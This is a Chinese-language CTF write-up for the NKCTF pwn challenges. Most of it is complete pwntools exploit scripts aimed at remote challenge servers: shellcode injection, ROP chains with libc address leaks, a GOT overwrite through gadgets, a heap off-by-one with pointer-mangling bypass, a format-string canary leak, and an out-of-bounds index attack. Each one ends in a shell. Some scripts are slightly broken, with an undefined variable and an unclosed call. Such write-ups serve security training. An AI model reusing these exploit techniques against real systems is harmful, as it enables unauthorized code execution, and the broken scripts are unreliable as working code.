NKCTF pwn方向wp

ezshellcode

直接rand搞一下就出了,连爆破都不用

from pwn import *
from ctypes import *

context.arch='amd64'
libc = cdll.LoadLibrary("libc.so.6")

def pwn():
    x = libc.rand() % 100 + 1
    shellocde = x*b'a' + asm(shellcraft.sh())
    r.sendlineafter(b"u can make it in 5 min!\n",shellocde)


if __name__ == '__main__':
    while 1:
        try:
            r = remote("node2.yuzhian.com.cn",31502)
            pwn()
            r.sendline(b'cat flag')
            r.recvline_contains(b'flag', timeout=2)
            r.interactive()
            break
        except:
            r.close()
            continue

a_story_of_a_pwner

直接给了libc

在给的三个位置布置好rop链

然后leave ret就行了

from pwn import *

p = remote("node2.yuzhian.com.cn",31435)
libc = ELF('./libc.so.6')

pop_rdi = 0x0000000000401573
lea_ret = 0x000000000040139e
reread = 0x0000000000401387

menu = b'> \n'

p.sendlineafter(menu,b'4')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16) - libc.sym['puts']
print("libc_base-->"+hex(libc_base))

sys_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b"/bin/sh"))

#0x4050a8
p.sendlineafter(menu,b'1')
p.sendlineafter(b'?\n',p64(str_bin_sh))
#0x4050a0
p.sendlineafter(menu,b'2')
p.sendlineafter(b'?\n',p64(pop_rdi))
#0x4050b0
p.sendlineafter(menu,b'3')
p.sendlineafter(b'?\n',p64(sys_addr))

p.sendlineafter(menu,b'4')
payload = b'a'*10 + p64(0x405098) + p64(lea_ret)
p.sendlineafter(b'...\n',payload)


p.interactive()

ez_stack

这题做法有点不是很道德qaq

直接盲猜libc版本是2.31-0ubuntu9.9

然后用retcsu和magic_gadget改got表

0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
from pwn import *

context.arch='amd64'
p = remote("node2.yuzhian.com.cn",38503)
#p = process('./stack')
libc = ELF('libc.so.6')

magic_gadget_addr = 0x040111c
csu_call_addr = 0x0000000000401260
pop_rbx_rbp_other4_ret = 0x000000000040127A
setbuf_addr = 0x404018


def retcsu(got_addr,arg0=0,arg1=0,arg2=0):
    pd = flat([
        pop_rbx_rbp_other4_ret,
        0, 1,
        arg0, arg1, arg2,
        got_addr,
        csu_call_addr,
        0, 0, 0, 0, 0, 0, 0
    ])
    return pd

def set_to(addr,data):
    pd = flat([
        pop_rbx_rbp_other4_ret,
        data,
        addr + 0x3d,
        0, 0, 0, 0,
        magic_gadget_addr
    ])
    return pd

payload = b'a'*0x18
payload += set_to(setbuf_addr,0xe3b04 - libc.symbols['setvbuf']) #ogg
payload += retcsu(setbuf_addr)
print(len(payload))

p.sendline(payload)
p.interactive()

baby_heap

edit里面有offbyone,只不过2.32加个指针异或而已

from pwn import *

context.log_level='debug'

#p = process('./heap')
p = remote("node2.yuzhian.com.cn",36598)
libc = ELF('./libc-2.32.so')

menu = b': '

def add(index,size):
    p.sendlineafter(menu,b'1')
    p.sendlineafter(menu,str(index).encode())
    p.sendlineafter(menu,str(size).encode())

def delete(index):
    p.sendlineafter(menu,b'2')
    p.sendlineafter(menu,str(index).encode())

def edit(index,content):
    p.sendlineafter(menu,b'3')
    p.sendlineafter(menu,str(index).encode())
    p.sendafter(menu,content)

def show(index):
    p.sendlineafter(menu,b'4')
    p.sendlineafter(menu,str(index).encode())

for i in range(7):
    add(i,0xe8)

add(7,0x40)
add(8,0x40)
add(9,0x40)
add(10,0x10)
edit(10,b'/bin/sh\x00' + b'\n')

edit(6,b'\xf1'*0xe9)

for i in range(8):
    delete(i)

add(0,0x48)
add(1,0x48)

edit(9,b'\n')
show(9)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0xa - 0x70 - libc.sym['__malloc_hook']
print("libc_base-->"+hex(libc_base))

edit(9,p64(libc_base + 0x70 + libc.sym['__malloc_hook'])*2 + b'\n')

free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']

add(2,0x48)

edit(0,b'\xa1'*0x49)

delete(0)
delete(2)
delete(1)

show(8)
heap_base = (u64(p.recv(5).ljust(8,b'\x00')) << 12)
print("heap__base-->"+hex(heap_base))

add(0,0x90)
payload = p64(0)*9 + p64(0x51) + p64((heap_base >> 12)^(free_hook)) + p64(heap_base+0x10) + b'\n'
edit(0,payload)

add(1,0x40)
add(2,0x40)
edit(2,p64(sys_addr) + b'\n')
delete(10)

p.interactive()

baby_rop

存在格式化字符串漏洞,先把cananry泄露出来

然后发现二次输入能直接把rbp末尾覆盖成\x00,那就在栈中构造rop链就好了

和西湖那题有一点像,但那题还要抬栈

from pwn import *

#p = process('./message')
p = remote("node.yuzhian.com.cn",37577)
elf = ELF('./message')
libc = ELF('libc.so.6')

ret = 0x000000000040101a
pop_rdi = 0x0000000000401413
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x4012b1

p.sendline(b"%41$p")
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print("canary-->"+hex(canary))


payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x40138c+1)
p.sendline(p64(ret)*27 + payload + p64(canary))

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print("libc_base-->"+hex(libc_base))

sys_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = p64(pop_rdi) + p64(str_bin_sh) + p64(sys_addr)
p.sendline(p64(ret)*28 + payload + p64(canary))

p.interactive()

only_read

给了libc,可以光明正大偷鸡了bushi

先是4个base64加密

因为只有一个read

所以考虑和ez_stack一样的做法,比爆破ogg快多了

from pwn import *

context.arch='amd64'

#p = process('./read')
p = remote("node2.yuzhian.com.cn",32892)
libc = ELF('./libc.so.6')

p.send(b"V2VsY29tZSB0byBOS0NURiE=")
sleep(0.1)
p.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(0.1)
p.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(0.1)
p.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")

magic_gadget_addr = 0x040117c
csu_call_addr = 0x0000000000401660
pop_rbx_rbp_other4_ret = 0x000000000040167A
setbuf_addr = 0x404018

def retcsu(got_addr,arg0=0,arg1=0,arg2=0):
    pd = flat([
        pop_rbx_rbp_other4_ret,
        0, 1,
        arg0, arg1, arg2,
        got_addr,
        csu_call_addr,
        0, 0, 0, 0, 0, 0, 0
    ])
    return pd

def set_to(addr,data):
    pd = flat([
        pop_rbx_rbp_other4_ret,
        data,
        addr + 0x3d,
        0, 0, 0, 0,
        magic_gadget_addr
    ])
    return pd

payload = b'a'*0x38

payload += set_to(setbuf_addr,0xe3b04 - libc.symbols['setbuf'])
payload += retcsu(setbuf_addr)
p.sendline(payload)

p.interactive()

note

和musl一点关系都每没有

漏洞在对idx是一点检查都没有

然后放堆快指针的附近有malloc_context+0x18的地址,里面有很多dirty_data,而且got表可写,泄露出来打free函数

from pwn import *

#p = process('./note')
p = remote("node2.yuzhian.com.cn",37572)
libc = ELF('./libc.so')
context.log_level='debug'
    
def add(index,size,content):
    p.sendlineafter(b': ', b'1')
    p.sendlineafter(b': ',str(index).encode())
    p.sendlineafter(b': ',str(size).encode())
    p.sendafter(b': ',content)

def edit(index,size,content):
    p.sendlineafter(b': ', b'2')
    p.sendlineafter(b': ',str(index).encode())
    p.sendlineafter(b': ',str(size).encode())
    p.sendafter(b': ',content)

def delete(index):
    p.sendlineafter(b': ',b'3')
    p.sendlineafter(b': ',str(index).encode())

def show(index):
    p.sendlineafter(b': ',b'4')
    p.sendlineafter(b': ',str(index).encode())

show(16)
leak = u64(p.recv(6).ljust(8,b'\x00'))
        
edit(16,8,b'a'*8)
show(16)
p.recvuntil(b'a'*8)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x10e0
print("heap_base-->"+hex(heap_base))

edit(16,16,b'a'*0x10)
show(16)
p.recvuntil(b'a'*0x10)
code_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x4120
print("code_base-->"+hex(code_base))

edit(16,16,p64(leak) + p64(leak2))

puts_got = code_base + 0x4028
add(0,8,p64(puts_got))

idx = 1394
show(idx)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print("libc_base-->"+hex(libc_base))

sys_addr = libc.sym['system'] + libc_base

free_got = code_base + 0x4060
edit(0,8,p64(free_got))

edit(idx,8,p64(sys_addr))
        
add(0,8,b'/bin/sh\x00')
delete(0)

p.interactive()

9961code

限制了读⼊的⻓度0x16

还把buf改成仅可执⾏了

虽然给了libc,但构造了⼀下shellcode也能出

但我不明⽩为什么本地通不了,远程可以

from pwn import *
context.arch='amd64'
#p = process('./code')
p = remote("node2.yuzhian.com.cn",30262)
shell = '''
xor esi, esi
lea edi, [r15+0xe]
cdq
mov ax, 59
syscall
'''
p.send(asm(shell) + b'/bin/sh')
p.interactive(

Bytedance

2018hctf原题,考的是scanf读入大量数据出发consolidate

就不写了哈

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值